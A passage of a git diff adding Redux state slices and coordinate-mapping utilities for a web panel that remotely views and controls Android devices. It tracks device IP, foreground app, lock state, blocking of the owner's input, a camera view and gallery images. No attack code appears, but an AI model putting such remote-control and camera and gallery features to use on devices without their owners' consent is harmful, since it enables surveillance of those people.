=> { + state.loading = false + state.isAuthenticated = false + state.token = null + state.user = null + state.error = null + localStorage.removeItem('auth_token') + localStorage.removeItem('auth_user') + }) + .addCase(logout.rejected, (state) => { + state.loading = false + // 即使登出失败,也清除本地状态 + state.isAuthenticated = false + state.token = null + state.user = null + state.error = null + localStorage.removeItem('auth_token') + localStorage.removeItem('auth_user') + }) + }, +}) + +export const { + clearError, + resetLoginAttempts, + restoreAuthState, + clearAuthState, + updateUser +} = authSlice.actions + +export default authSlice.reducer + +// 选择器(先定义接口,避免循环导入) +interface RootStateForAuth { + auth: AuthState +} + +export const selectAuth = (state: RootStateForAuth) => state.auth +export const selectIsAuthenticated = (state: RootStateForAuth) => state.auth.isAuthenticated +export const selectUser = (state: RootStateForAuth) => state.auth.user +export const selectToken = (state: RootStateForAuth) => state.auth.token +export const selectAuthLoading = (state: RootStateForAuth) => state.auth.loading +export const selectAuthError = (state: RootStateForAuth) => state.auth.error \ No newline at end of file diff --git a/src/store/slices/connectionSlice.ts b/src/store/slices/connectionSlice.ts new file mode 100644 index 0000000..5d95a0c --- /dev/null +++ b/src/store/slices/connectionSlice.ts @@ -0,0 +1,140 @@ +import { createSlice, type PayloadAction } from '@reduxjs/toolkit' + +/** + * 连接状态 + */ +export type ConnectionStatus = 'disconnected' | 'connecting' | 'connected' | 'error' + +/** + * 网络质量 + */ +export interface NetworkQuality { + latency: number + bandwidth: number + packetLoss: number + quality: 'excellent' | 'good' | 'fair' | 'poor' +} + +/** + * 连接状态管理 + */ +interface ConnectionState { + status: ConnectionStatus + webSocket: any | null + serverUrl: string + isReconnecting: boolean + reconnectAttempts: number + maxReconnectAttempts: number + networkQuality: NetworkQuality | null + lastConnectedAt: number | null + error: string | null +} + +const initialState: ConnectionState = { + status: 'disconnected', + webSocket: null, + serverUrl: '', + isReconnecting: false, + reconnectAttempts: 0, + maxReconnectAttempts: 5, + networkQuality: null, + lastConnectedAt: null, + error: null, +} + +/** + * 连接管理 Slice + */ +const connectionSlice = createSlice({ + name: 'connection', + initialState, + reducers: { + // 设置连接状态 + setConnectionStatus: (state, action: PayloadAction) => { + state.status = action.payload + + if (action.payload === 'connected') { + state.lastConnectedAt = Date.now() + state.reconnectAttempts = 0 + state.isReconnecting = false + state.error = null + } + }, + + // 设置WebSocket实例 + setWebSocket: (state, action: PayloadAction) => { + state.webSocket = action.payload + }, + + // 设置服务器URL + setServerUrl: (state, action: PayloadAction) => { + state.serverUrl = action.payload + }, + + // 开始重连 + startReconnecting: (state) => { + state.isReconnecting = true + state.status = 'connecting' + }, + + // 停止重连 + stopReconnecting: (state) => { + state.isReconnecting = false + state.reconnectAttempts = 0 + }, + + // 增加重连次数 + incrementReconnectAttempts: (state) => { + state.reconnectAttempts += 1 + }, + + // 重置重连次数 + resetReconnectAttempts: (state) => { + state.reconnectAttempts = 0 + }, + + // 更新网络质量 + updateNetworkQuality: (state, action: PayloadAction) => { + state.networkQuality = action.payload + }, + + // 设置连接错误 + setConnectionError: (state, action: PayloadAction) => { + state.error = action.payload + state.status = 'error' + state.isReconnecting = false + }, + + // 清除连接错误 + clearConnectionError: (state) => { + state.error = null + }, + + // 重置连接状态 + resetConnection: (state) => { + state.status = 'disconnected' + state.webSocket = null + state.isReconnecting = false + state.reconnectAttempts = 0 + state.networkQuality = null + state.lastConnectedAt = null + state.error = null + }, + }, +}) + +export const { + setConnectionStatus, + setWebSocket, + setServerUrl, + startReconnecting, + stopReconnecting, + incrementReconnectAttempts, + resetReconnectAttempts, + updateNetworkQuality, + setConnectionError, + clearConnectionError, + resetConnection, +} = connectionSlice.actions + +export default connectionSlice.reducer \ No newline at end of file diff --git a/src/store/slices/deviceSlice.ts b/src/store/slices/deviceSlice.ts new file mode 100644 index 0000000..23b28e6 --- /dev/null +++ b/src/store/slices/deviceSlice.ts @@ -0,0 +1,385 @@ +import { createSlice, type PayloadAction } from '@reduxjs/toolkit' + +/** + * 屏幕阅读器配置 + */ +export interface DeviceScreenReaderConfig { + enabled: boolean + autoRefresh: boolean + refreshInterval: number // 秒 + showElementBounds: boolean + highlightClickable: boolean + showVirtualKeyboard: boolean // 显示虚拟按键 + hierarchyData?: any // UI层次结构数据 + loading: boolean + error?: string +} + +/** + * 设备信息接口 + */ +export interface Device { + id: string + name: string + model: string + osVersion: string + screenWidth: number + screenHeight: number + status: 'online' | 'offline' | 'connecting' + lastSeen: number + inputBlocked?: boolean + screenReader?: DeviceScreenReaderConfig + publicIP?: string + // 🆕 新增系统版本信息字段 + systemVersionName?: string // 如"Android 11"、"Android 12" + romType?: string // 如"MIUI"、"ColorOS"、"原生Android" + romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1" + osBuildVersion?: string // 如"1.0.19.0.UMCCNXM"等完整构建版本号 + // 🆕 新增APP和锁屏状态字段 + appName?: string // 当前运行的APP名称 + appVersion?: string // 当前运行的APP版本 + appPackage?: string // 当前运行的APP包名 + isLocked?: boolean // 设备锁屏状态 + // 🆕 安装时间(连接时间) + connectedAt?: number // 安装时间/首次连接时间(毫秒时间戳) + // 🆕 备注字段 + remark?: string // 设备备注 +} + +/** + * 设备状态接口 + */ +export interface DeviceStatus { + cpu: number + memory: number + battery: number + networkSpeed: number +} + +/** + * 设备筛选条件接口 + */ +export interface DeviceFilter { + model?: string // 型号筛选 + osVersion?: string // 系统版本筛选 + appName?: string // APP名称筛选 + isLocked?: boolean // 锁屏状态筛选 + status?: 'online' | 'offline' | 'connecting' // 在线状态筛选 + connectedAtRange?: { // 安装时间范围筛选 + start?: number + end?: number + } +} + +/** + * 设备状态管理 + */ +interface DevicesState { + connectedDevices: Device[] + selectedDeviceId: string | null + deviceStatuses: Record + isLoading: boolean + error: string | null + filter: DeviceFilter // 筛选条件 +} + +const initialState: DevicesState = { + connectedDevices: [], + selectedDeviceId: null, + deviceStatuses: {}, + isLoading: false, + error: null, + filter: { }, // 默认只显示在线设备 +} + +/** + * 设备管理 Slice + */ +const deviceSlice = createSlice({ + name: 'devices', + initialState, + reducers: { + // 添加设备 + addDevice: (state, action: PayloadAction) => { + const existingIndex = state.connectedDevices.findIndex( + device => device.id === action.payload.id + ) + + if (existingIndex >= 0) { + // 更新现有设备 + state.connectedDevices[existingIndex] = action.payload + } else { + // 添加新设备 + state.connectedDevices.push(action.payload) + } + }, + + // 移除设备 + removeDevice: (state, action: PayloadAction) => { + state.connectedDevices = state.connectedDevices.filter( + device => device.id !== action.payload + ) + + // 如果移除的是当前选中的设备,清除选择 + if (state.selectedDeviceId === action.payload) { + state.selectedDeviceId = null + } + + // 删除设备状态 + delete state.deviceStatuses[action.payload] + }, + + // 选择设备 + selectDevice: (state, action: PayloadAction) => { + state.selectedDeviceId = action.payload + }, + + // 重置设备相关状态(当设备连接或重新连接时调用) + resetDeviceStates: (_state, _action: PayloadAction) => { + // 这个action会在其他地方被监听,用于重置UI状态 + }, + + // 清除设备选择 + clearDeviceSelection: (state) => { + state.selectedDeviceId = null + }, + + // 更新设备状态 + updateDeviceStatus: (state, action: PayloadAction<{ deviceId: string; status: DeviceStatus }>) => { + const { deviceId, status } = action.payload + state.deviceStatuses[deviceId] = status + }, + + // 更新设备连接状态 + updateDeviceConnectionStatus: (state, action: PayloadAction<{ deviceId: string; status: Device['status'] }>) => { + const { deviceId, status } = action.payload + const device = state.connectedDevices.find(d => d.id === deviceId) + + if (device) { + device.status = status + device.lastSeen = Date.now() + } + }, + + // 更新设备输入阻止状态 + updateDeviceInputBlocked: (state, action: PayloadAction<{ deviceId: string; inputBlocked: boolean }>) => { + const { deviceId, inputBlocked } = action.payload + const device = state.connectedDevices.find(d => d.id === deviceId) + + if (device) { + device.inputBlocked = inputBlocked + } + }, + + // 启用设备屏幕阅读器 + enableDeviceScreenReader: (state, action: PayloadAction) => { + const deviceId = action.payload + const device = state.connectedDevices.find(d => d.id === deviceId) + + if (device) { + if (!device.screenReader) { + device.screenReader = { + enabled: false, + autoRefresh: true, + refreshInterval: 1, + showElementBounds: true, + highlightClickable: true, + showVirtualKeyboard: false, + loading: false, + } + } + device.screenReader.enabled = true + device.screenReader.loading = true + device.screenReader.error = undefined + } + }, + + // 禁用设备屏幕阅读器 + disableDeviceScreenReader: (state, action: PayloadAction) => { + const deviceId = action.payload + const device = state.connectedDevices.find(d => d.id === deviceId) + + if (device && device.screenReader) { + device.screenReader.enabled = false + device.screenReader.loading = false + device.screenReader.hierarchyData = undefined + device.screenReader.error = undefined + } + }, + + // 更新设备屏幕阅读器配置 + updateDeviceScreenReaderConfig: (state, action: PayloadAction<{ deviceId: string; config: Partial }>) => { + const { deviceId, config } = action.payload + const device = state.connectedDevices.find(d => d.id === deviceId) + + if (device) { + if (!device.screenReader) { + device.screenReader = { + enabled: false, + autoRefresh: true, + refreshInterval: 1, + showElementBounds: true, + highlightClickable: true, + showVirtualKeyboard: false, + loading: false, + } + } + if (device.screenReader) { + Object.assign(device.screenReader, config) + } + } + }, + + // 更新设备锁屏状态 + updateDeviceLockStatus: (state, action: PayloadAction<{ deviceId: string; isLocked: boolean }>) => { + const { deviceId, isLocked } = action.payload + const device = state.connectedDevices.find(d => d.id === deviceId) + + if (device) { + device.isLocked = isLocked + } + }, + + // 更新设备备注 + updateDeviceRemark: (state, action: PayloadAction<{ deviceId: string; remark: string }>) => { + const { deviceId, remark } = action.payload + const device = state.connectedDevices.find(d => d.id === deviceId) + + if (device) { + device.remark = remark + } + }, + + // 设置设备屏幕阅读器层次结构数据 + setDeviceScreenReaderHierarchy: (state, action: PayloadAction<{ deviceId: string; hierarchyData: any; error?: string }>) => { + const { deviceId, hierarchyData, error } = action.payload + const device = state.connectedDevices.find(d => d.id === deviceId) + + if (device && device.screenReader) { + device.screenReader.hierarchyData = hierarchyData + device.screenReader.loading = false + device.screenReader.error = error + } + }, + + // 设置加载状态 + setLoading: (state, action: PayloadAction) => { + state.isLoading = action.payload + }, + + // 设置错误信息 + setError: (state, action: PayloadAction) => { + state.error = action.payload + }, + + // 设置设备筛选条件 + setDeviceFilter: (state, action: PayloadAction) => { + state.filter = action.payload + }, + + // 清除设备筛选条件(清除后恢复默认只显示在线设备) + clearDeviceFilter: (state) => { + state.filter = { } + }, + + // 更新单个筛选条件 + updateDeviceFilter: (state, action: PayloadAction>) => { + // 如果status是undefined,需要从filter中删除该字段 + const newFilter = { ...state.filter, ...action.payload } + if (action.payload.status === undefined && 'status' in newFilter) { + delete newFilter.status + } + state.filter = newFilter + }, + + // 清除所有设备 + clearDevices: (state) => { + state.connectedDevices = [] + state.selectedDeviceId = null + state.deviceStatuses = {} + state.filter = { } // 恢复默认只显示在线设备 + }, + }, +}) + +export const { + addDevice, + removeDevice, + selectDevice, + resetDeviceStates, + clearDeviceSelection, + updateDeviceStatus, + updateDeviceConnectionStatus, + updateDeviceInputBlocked, + enableDeviceScreenReader, + disableDeviceScreenReader, + updateDeviceScreenReaderConfig, + updateDeviceLockStatus, + updateDeviceRemark, + setDeviceScreenReaderHierarchy, + setLoading, + setError, + setDeviceFilter, + clearDeviceFilter, + updateDeviceFilter, + clearDevices, +} = deviceSlice.actions + +export default deviceSlice.reducer + +/** + * 筛选设备列表的selector + */ +export const selectFilteredDevices = (state: { devices: DevicesState }) => { + const { connectedDevices, filter } = state.devices + + // 默认只显示在线设备 + let filtered = connectedDevices + + // 如果没有筛选条件,默认只显示在线设备 + // if (!filter || Object.keys(filter).length === 0) { + // return filtered.filter(device => device.status === 'online') + // } + + return filtered.filter(device => { + // 型号筛选 + if (filter.model && !device.model?.toLowerCase().includes(filter.model.toLowerCase())) { + return false + } + + // 系统版本筛选 + if (filter.osVersion && !device.osVersion?.toLowerCase().includes(filter.osVersion.toLowerCase())) { + return false + } + + // APP名称筛选 + if (filter.appName && !device.appName?.toLowerCase().includes(filter.appName.toLowerCase())) { + return false + } + + // 锁屏状态筛选 + if (filter.isLocked !== undefined && device.isLocked !== filter.isLocked) { + return false + } + + // 在线状态筛选(如果用户选择了状态筛选,则按选择筛选;否则显示全部) + if (filter.status && device.status !== filter.status) { + return false + } + + // 安装时间范围筛选 + if (filter.connectedAtRange) { + const { start, end } = filter.connectedAtRange + const connectedAt = device.connectedAt || device.lastSeen + + if (start && connectedAt < start) { + return false + } + if (end && connectedAt > end) { + return false + } + } + + return true + }) +} \ No newline at end of file diff --git a/src/store/slices/uiSlice.ts b/src/store/slices/uiSlice.ts new file mode 100644 index 0000000..2d457f2 --- /dev/null +++ b/src/store/slices/uiSlice.ts @@ -0,0 +1,392 @@ +import { createSlice, type PayloadAction } from '@reduxjs/toolkit' + +/** + * 主题模式 + */ +export type ThemeMode = 'light' | 'dark' | 'auto' + +/** + * 布局模式 + */ +export type LayoutMode = 'desktop' | 'tablet' | 'mobile' + +/** + * 控制面板配置 + */ +export interface ControlPanelConfig { + showKeyboard: boolean + showGamepad: boolean + showQuickActions: boolean + showDeviceInfo: boolean + position: 'left' | 'right' | 'bottom' + collapsed: boolean +} + +/** + * 屏幕显示配置 + */ +export interface ScreenDisplayConfig { + fitMode: 'fit' | 'fill' | 'stretch' | 'original' + quality: 'low' | 'medium' | 'high' | 'ultra' + showTouchIndicator: boolean + enableSound: boolean + fullscreen: boolean +} + +/** + * 屏幕阅读器配置 + */ +export interface ScreenReaderConfig { + enabled: boolean + autoRefresh: boolean + refreshInterval: number // 秒 + showElementBounds: boolean + showElementHierarchy: boolean + highlightClickable: boolean +} + +/** + * 相册图片信息 + */ +export interface GalleryImage { + id: string + deviceId: string + index: number + displayName: string + dateAdded: number + mimeType: string + width: number + height: number + size: number + contentUri: string + timestamp: number + url: string +} + +/** + * 相册状态 + */ +export interface GalleryState { + images: GalleryImage[] + loading: boolean + visible: boolean + selectedImageId: string | null +} + +/** + * UI状态管理 + */ +interface UiState { + theme: ThemeMode + layout: LayoutMode + controlPanel: ControlPanelConfig + screenDisplay: ScreenDisplayConfig + screenReader: ScreenReaderConfig + sidebarCollapsed: boolean + showSettings: boolean + showAbout: boolean + showDeviceList: boolean + loading: boolean + operationEnabled: boolean // 操作控制状态 + deviceInputBlocked: boolean // 设备端输入阻止状态 + cameraViewVisible: boolean // 摄像头显示区域可见性 + cameraActive: boolean // 摄像头是否有数据流(在线) + gallery: GalleryState // 相册状态 + notifications: Array<{ + id: string + type: 'success' | 'warning' | 'error' | 'info' + title: string + message: string + duration?: number + timestamp: number + }> +} + +const initialState: UiState = { + theme: 'auto', + layout: 'desktop', + controlPanel: { + showKeyboard: true, + showGamepad: false, + showQuickActions: true, + showDeviceInfo: true, + position: 'right', + collapsed: false, + }, + screenDisplay: { + fitMode: 'fit', + quality: 'high', + showTouchIndicator: true, + enableSound: false, + fullscreen: false, + }, + screenReader: { + enabled: false, + autoRefresh: true, + refreshInterval: 1, + showElementBounds: true, + showElementHierarchy: true, + highlightClickable: true, + }, + sidebarCollapsed: false, + showSettings: false, + showAbout: false, + showDeviceList: false, + loading: false, + operationEnabled: true, // 默认允许操作 + deviceInputBlocked: false, // 默认不阻止设备输入 + cameraViewVisible: false, // 默认不显示摄像头区域 + cameraActive: false, // 默认摄像头未激活 + gallery: { + images: [], + loading: false, + visible: false, + selectedImageId: null, + }, + notifications: [], +} + +/** + * UI管理 Slice + */ +const uiSlice = createSlice({ + name: 'ui', + initialState, + reducers: { + // 设置主题 + setTheme: (state, action: PayloadAction) => { + state.theme = action.payload + }, + + // 设置布局模式 + setLayout: (state, action: PayloadAction) => { + state.layout = action.payload + }, + + // 更新控制面板配置 + updateControlPanel: (state, action: PayloadAction>) => { + state.controlPanel = { ...state.controlPanel, ...action.payload } + }, + + // 更新屏幕显示配置 + updateScreenDisplay: (state, action: PayloadAction>) => { + state.screenDisplay = { ...state.screenDisplay, ...action.payload } + }, + + // 更新屏幕阅读器配置 + updateScreenReader: (state, action: PayloadAction>) => { + state.screenReader = { ...state.screenReader, ...action.payload } + }, + + // 启用屏幕阅读器模式 + enableScreenReader: (state) => { + state.screenReader.enabled = true + }, + + // 禁用屏幕阅读器模式 + disableScreenReader: (state) => { + state.screenReader.enabled = false + }, + + // 切换屏幕阅读器模式 + toggleScreenReader: (state) => { + state.screenReader.enabled = !state.screenReader.enabled + }, + + // 切换侧边栏 + toggleSidebar: (state) => { + state.sidebarCollapsed = !state.sidebarCollapsed + }, + + // 设置侧边栏状态 + setSidebarCollapsed: (state, action: PayloadAction) => { + state.sidebarCollapsed = action.payload + }, + + // 显示设置对话框 + showSettings: (state) => { + state.showSettings = true + }, + + // 隐藏设置对话框 + hideSettings: (state) => { + state.showSettings = false + }, + + // 显示关于对话框 + showAbout: (state) => { + state.showAbout = true + }, + + // 隐藏关于对话框 + hideAbout: (state) => { + state.showAbout = false + }, + + // 显示设备列表 + showDeviceList: (state) => { + state.showDeviceList = true + }, + + // 隐藏设备列表 + hideDeviceList: (state) => { + state.showDeviceList = false + }, + + // 设置加载状态 + setLoading: (state, action: PayloadAction) => { + state.loading = action.payload + }, + + // 添加通知 + addNotification: (state, action: PayloadAction>) => { + const notification = { + ...action.payload, + id: Date.now().toString(), + timestamp: Date.now(), + } + state.notifications.push(notification) + }, + + // 移除通知 + removeNotification: (state, action: PayloadAction) => { + state.notifications = state.notifications.filter( + notification => notification.id !== action.payload + ) + }, + + // 清除所有通知 + clearNotifications: (state) => { + state.notifications = [] + }, + + // 切换全屏模式 + toggleFullscreen: (state) => { + state.screenDisplay.fullscreen = !state.screenDisplay.fullscreen + }, + + // 切换控制面板 + toggleControlPanel: (state) => { + state.controlPanel.collapsed = !state.controlPanel.collapsed + }, + + // 设置操作控制状态 + setOperationEnabled: (state, action: PayloadAction) => { + state.operationEnabled = action.payload + }, + + // 切换操作控制状态 + toggleOperationEnabled: (state) => { + state.operationEnabled = !state.operationEnabled + }, + + // 设置设备输入阻止状态 + setDeviceInputBlocked: (state, action: PayloadAction) => { + state.deviceInputBlocked = action.payload + }, + + // 切换设备输入阻止状态 + toggleDeviceInputBlocked: (state) => { + state.deviceInputBlocked = !state.deviceInputBlocked + }, + + // 设置摄像头显示区域可见性 + setCameraViewVisible: (state, action: PayloadAction) => { + state.cameraViewVisible = action.payload + }, + + // 切换摄像头显示区域可见性 + toggleCameraViewVisible: (state) => { + state.cameraViewVisible = !state.cameraViewVisible + }, + + // 设置摄像头激活状态(基于数据流) + setCameraActive: (state, action: PayloadAction) => { + state.cameraActive = action.payload + }, + + // 设置相册可见性 + setGalleryVisible: (state, action: PayloadAction) => { + state.gallery.visible = action.payload + }, + + // 设置相册加载状态 + setGalleryLoading: (state, action: PayloadAction) => { + state.gallery.loading = action.payload + }, + + // 添加相册图片 + addGalleryImage: (state, action: PayloadAction) => { + const existingIndex = state.gallery.images.findIndex(img => img.id === action.payload.id) + if (existingIndex >= 0) { + state.gallery.images[existingIndex] = action.payload + } else { + state.gallery.images.push(action.payload) + } + // 按时间戳倒序排列 + state.gallery.images.sort((a, b) => b.timestamp - a.timestamp) + }, + + // 设置相册图片列表 + setGalleryImages: (state, action: PayloadAction) => { + state.gallery.images = action.payload.sort((a, b) => b.timestamp - a.timestamp) + }, + + // 选择相册图片 + selectGalleryImage: (state, action: PayloadAction) => { + state.gallery.selectedImageId = action.payload + }, + + // 清空相册 + clearGallery: (state) => { + state.gallery.images = [] + state.gallery.selectedImageId = null + }, + }, + extraReducers: (builder) => { + // 监听设备状态重置,重置设备输入阻止状态 + builder.addCase('devices/resetDeviceStates', (state) => { + state.deviceInputBlocked = false + }) + }, +}) + +export const { + setTheme, + setLayout, + updateControlPanel, + updateScreenDisplay, + updateScreenReader, + enableScreenReader, + disableScreenReader, + toggleScreenReader, + toggleSidebar, + setSidebarCollapsed, + showSettings, + hideSettings, + showAbout, + hideAbout, + showDeviceList, + hideDeviceList, + setLoading, + addNotification, + removeNotification, + clearNotifications, + toggleFullscreen, + toggleControlPanel, + setOperationEnabled, + toggleOperationEnabled, + setDeviceInputBlocked, + toggleDeviceInputBlocked, + setCameraViewVisible, + toggleCameraViewVisible, + setCameraActive, + setGalleryVisible, + setGalleryLoading, + addGalleryImage, + setGalleryImages, + selectGalleryImage, + clearGallery, +} = uiSlice.actions + +export default uiSlice.reducer \ No newline at end of file diff --git a/src/store/store.ts b/src/store/store.ts new file mode 100644 index 0000000..a93245b --- /dev/null +++ b/src/store/store.ts @@ -0,0 +1,27 @@ +import { configureStore } from '@reduxjs/toolkit' +import deviceSlice from './slices/deviceSlice' +import connectionSlice from './slices/connectionSlice' +import uiSlice from './slices/uiSlice' +import authSlice from './slices/authSlice' + +/** + * Redux Store 配置 + */ +export const store = configureStore({ + reducer: { + devices: deviceSlice, + connection: connectionSlice, + ui: uiSlice, + auth: authSlice, + }, + middleware: (getDefaultMiddleware) => + getDefaultMiddleware({ + serializableCheck: { + ignoredActions: ['connection/setWebSocket'], + ignoredPaths: ['connection.webSocket'], + }, + }), +}) + +export type RootState = ReturnType +export type AppDispatch = typeof store.dispatch \ No newline at end of file diff --git a/src/utils/CoordinateMapper.ts b/src/utils/CoordinateMapper.ts new file mode 100644 index 0000000..0293fa3 --- /dev/null +++ b/src/utils/CoordinateMapper.ts @@ -0,0 +1,248 @@ +/** + * 坐标映射工具类 - 用于测试和验证坐标转换的准确性 + */ + +interface DeviceInfo { + density: number + densityDpi: number + hasNavigationBar: boolean + aspectRatio: number + realScreenSize: { width: number; height: number } + appScreenSize: { width: number; height: number } + navigationBarSize: { width: number; height: number } +} + +interface CoordinateTestResult { + success: boolean + accuracy: number // 准确度百分比 + avgError: number // 平均误差(像素) + maxError: number // 最大误差(像素) + testPoints: Array<{ + input: { x: number; y: number } + expected: { x: number; y: number } + actual: { x: number; y: number } + error: number + }> +} + +export class CoordinateMapper { + /** + * 测试坐标映射准确性 + */ + static testCoordinateMapping( + deviceWidth: number, + deviceHeight: number, + displayWidth: number, + displayHeight: number, + deviceInfo?: DeviceInfo + ): CoordinateTestResult { + console.log('🧪 开始坐标映射准确性测试') + + // 生成测试点 + const testPoints = [ + // 屏幕角落 + { x: 0, y: 0 }, + { x: deviceWidth - 1, y: 0 }, + { x: 0, y: deviceHeight - 1 }, + { x: deviceWidth - 1, y: deviceHeight - 1 }, + + // 屏幕中心 + { x: deviceWidth / 2, y: deviceHeight / 2 }, + + // 常见按钮位置 + { x: deviceWidth * 0.8, y: deviceHeight * 0.9 }, // 右下角按钮 + { x: deviceWidth * 0.5, y: deviceHeight * 0.8 }, // 底部中央按钮 + { x: deviceWidth * 0.2, y: deviceHeight * 0.1 }, // 左上角按钮 + + // 键盘区域 + { x: deviceWidth * 0.25, y: deviceHeight * 0.6 }, + { x: deviceWidth * 0.5, y: deviceHeight * 0.6 }, + { x: deviceWidth * 0.75, y: deviceHeight * 0.6 }, + + // 导航栏区域(如果有) + ...(deviceInfo?.hasNavigationBar ? [ + { x: deviceWidth * 0.2, y: deviceHeight + 50 }, + { x: deviceWidth * 0.5, y: deviceHeight + 50 }, + { x: deviceWidth * 0.8, y: deviceHeight + 50 } + ] : []) + ] + + const results: CoordinateTestResult['testPoints'] = [] + let totalError = 0 + let maxError = 0 + + for (const point of testPoints) { + // 模拟正向转换:设备坐标 → 显示坐标 + const displayCoords = this.deviceToDisplay(point.x, point.y, deviceWidth, deviceHeight, displayWidth, displayHeight) + + // 模拟反向转换:显示坐标 → 设备坐标 + const backToDevice = this.displayToDevice(displayCoords.x, displayCoords.y, deviceWidth, deviceHeight, displayWidth, displayHeight, deviceInfo) + + // 计算误差 + const error = Math.sqrt(Math.pow(point.x - backToDevice.x, 2) + Math.pow(point.y - backToDevice.y, 2)) + totalError += error + maxError = Math.max(maxError, error) + + results.push({ + input: point, + expected: point, + actual: backToDevice, + error + }) + } + + const avgError = totalError / testPoints.length + const accuracy = Math.max(0, 100 - (avgError / Math.min(deviceWidth, deviceHeight) * 100)) + + const result: CoordinateTestResult = { + success: avgError < 5, // 平均误差小于5像素认为成功 + accuracy, + avgError, + maxError, + testPoints: results + } + + console.log('🧪 坐标映射测试结果:', { + success: result.success, + accuracy: `${accuracy.toFixed(2)}%`, + avgError: `${avgError.toFixed(2)}px`, + maxError: `${maxError.toFixed(2)}px`, + testPointsCount: testPoints.length + }) + + return result + } + + /** + * 设备坐标转换为显示坐标 + */ + private static deviceToDisplay( + deviceX: number, + deviceY: number, + deviceWidth: number, + deviceHeight: number, + displayWidth: number, + displayHeight: number + ): { x: number; y: number } { + const scaleX = displayWidth / deviceWidth + const scaleY = displayHeight / deviceHeight + const scale = Math.min(scaleX, scaleY) + + const actualDisplayWidth = deviceWidth * scale + const actualDisplayHeight = deviceHeight * scale + const offsetX = (displayWidth - actualDisplayWidth) / 2 + const offsetY = (displayHeight - actualDisplayHeight) / 2 + + return { + x: deviceX * scale + offsetX, + y: deviceY * scale + offsetY + } + } + + /** + * 显示坐标转换为设备坐标(增强版本) + */ + private static displayToDevice( + displayX: number, + displayY: number, + deviceWidth: number, + deviceHeight: number, + displayWidth: number, + displayHeight: number, + deviceInfo?: DeviceInfo + ): { x: number; y: number } { + const scaleX = displayWidth / deviceWidth + const scaleY = displayHeight / deviceHeight + const scale = Math.min(scaleX, scaleY) + + const actualDisplayWidth = deviceWidth * scale + const actualDisplayHeight = deviceHeight * scale + const offsetX = (displayWidth - actualDisplayWidth) / 2 + const offsetY = (displayHeight - actualDisplayHeight) / 2 + + const adjustedX = displayX - offsetX + const adjustedY = displayY - offsetY + + let deviceX = adjustedX / scale + let deviceY = adjustedY / scale + + // 应用设备特性修正 + if (deviceInfo) { + const density = deviceInfo.density + if (density > 2) { + deviceX = Math.round(deviceX * 10) / 10 + deviceY = Math.round(deviceY * 10) / 10 + } else { + deviceX = Math.round(deviceX) + deviceY = Math.round(deviceY) + } + + // 导航栏区域修正 + if (deviceInfo.hasNavigationBar && deviceInfo.navigationBarSize.height > 0) { + const navBarHeight = deviceInfo.navigationBarSize.height + const threshold = deviceHeight - navBarHeight + if (deviceY > threshold) { + deviceY = Math.min(deviceY, deviceHeight + Math.min(navBarHeight, 150)) + } + } + } + + return { + x: Math.max(0, Math.min(deviceWidth, deviceX)), + y: Math.max(0, Math.min(deviceHeight, deviceY)) + } + } + + /** + * 生成坐标映射诊断报告 + */ + static generateDiagnosticReport( + deviceWidth: number, + deviceHeight: number, + displayWidth: number, + displayHeight: number, + deviceInfo?: DeviceInfo + ): string { + const testResult = this.testCoordinateMapping(deviceWidth, deviceHeight, displayWidth, displayHeight, deviceInfo) + + let report = `📊 坐标映射诊断报告\n` + report += `==========================================\n` + report += `设备分辨率: ${deviceWidth}x${deviceHeight}\n` + report += `显示分辨率: ${displayWidth}x${displayHeight}\n` + report += `设备信息: ${deviceInfo ? '已提供' : '未提供'}\n` + report += `\n` + report += `测试结果:\n` + report += `- 测试状态: ${testResult.success ? '✅ 通过' : '❌ 失败'}\n` + report += `- 准确度: ${testResult.accuracy.toFixed(2)}%\n` + report += `- 平均误差: ${testResult.avgError.toFixed(2)}px\n` + report += `- 最大误差: ${testResult.maxError.toFixed(2)}px\n` + report += `- 测试点数: ${testResult.testPoints.length}\n` + report += `\n` + + if (!testResult.success) { + report += `❌ 问题点分析:\n` + testResult.testPoints + .filter(p => p.error > 5) + .forEach((p, i) => { + report += ` ${i + 1}. 输入(${p.input.x.toFixed(1)}, ${p.input.y.toFixed(1)}) → 输出(${p.actual.x.toFixed(1)}, ${p.actual.y.toFixed(1)}) 误差: ${p.error.toFixed(2)}px\n` + }) + } + + if (deviceInfo) { + report += `\n📱 设备特征:\n` + report += `- 密度: ${deviceInfo.density}\n` + report += `- DPI: ${deviceInfo.densityDpi}\n` + report += `- 长宽比: ${deviceInfo.aspectRatio.toFixed(3)}\n` + report += `- 虚拟按键: ${deviceInfo.hasNavigationBar ? '是' : '否'}\n` + if (deviceInfo.hasNavigationBar) { + report += `- 导航栏尺寸: ${deviceInfo.navigationBarSize.width}x${deviceInfo.navigationBarSize.height}\n` + } + } + + report += `==========================================\n` + + return report + } +} + +export default CoordinateMapper \ No newline at end of file diff --git a/src/utils/CoordinateMappingConfig.ts b/src/utils/CoordinateMappingConfig.ts new file mode 100644 index 0000000..7eb0c95 --- /dev/null +++ b/src/utils/CoordinateMappingConfig.ts @@ -0,0 +1,160 @@ +/** + * 坐标映射配置系统 - 渐进式功能启用 + */ + +export interface CoordinateMappingConfig { + // 基础功能(始终启用) + enableBasicMapping: boolean + + // 高精度功能(可选启用) + enableSubPixelPrecision: boolean + enableNavigationBarDetection: boolean + enableDensityCorrection: boolean + enableAspectRatioCorrection: boolean + + // 调试功能 + enableDetailedLogging: boolean + enableCoordinateValidation: boolean + enablePerformanceMonitoring: boolean + + // 容错设置 + fallbackToBasicOnError: boolean + maxCoordinateError: number // 最大允许的坐标误差(像素) + + // 设备特定优化 + enableDeviceSpecificOptimizations: boolean + minimumScreenSize: { width: number; height: number } + maximumScreenSize: { width: number; height: number } +} + +export const DEFAULT_COORDINATE_MAPPING_CONFIG: CoordinateMappingConfig = { + // 基础功能 + enableBasicMapping: true, + + // 高精度功能(逐步启用) + enableSubPixelPrecision: false, // 🚩 第一阶段:关闭 + enableNavigationBarDetection: true, // ✅ 相对安全 + enableDensityCorrection: true, // ✅ 相对安全 + enableAspectRatioCorrection: true, // ✅ 相对安全 + + // 调试功能 + enableDetailedLogging: false, // 默认关闭,需要时开启 + enableCoordinateValidation: true, + enablePerformanceMonitoring: false, + + // 容错设置 + fallbackToBasicOnError: true, + maxCoordinateError: 10, // 允许10像素误差 + + // 设备特定优化 + enableDeviceSpecificOptimizations: false, // 🚩 第一阶段:关闭 + minimumScreenSize: { width: 240, height: 320 }, + maximumScreenSize: { width: 4096, height: 8192 } +} + +/** + * 根据设备特征自动调整配置 + */ +export function createOptimizedConfig( + deviceWidth: number, + deviceHeight: number, + _userAgent?: string +): CoordinateMappingConfig { 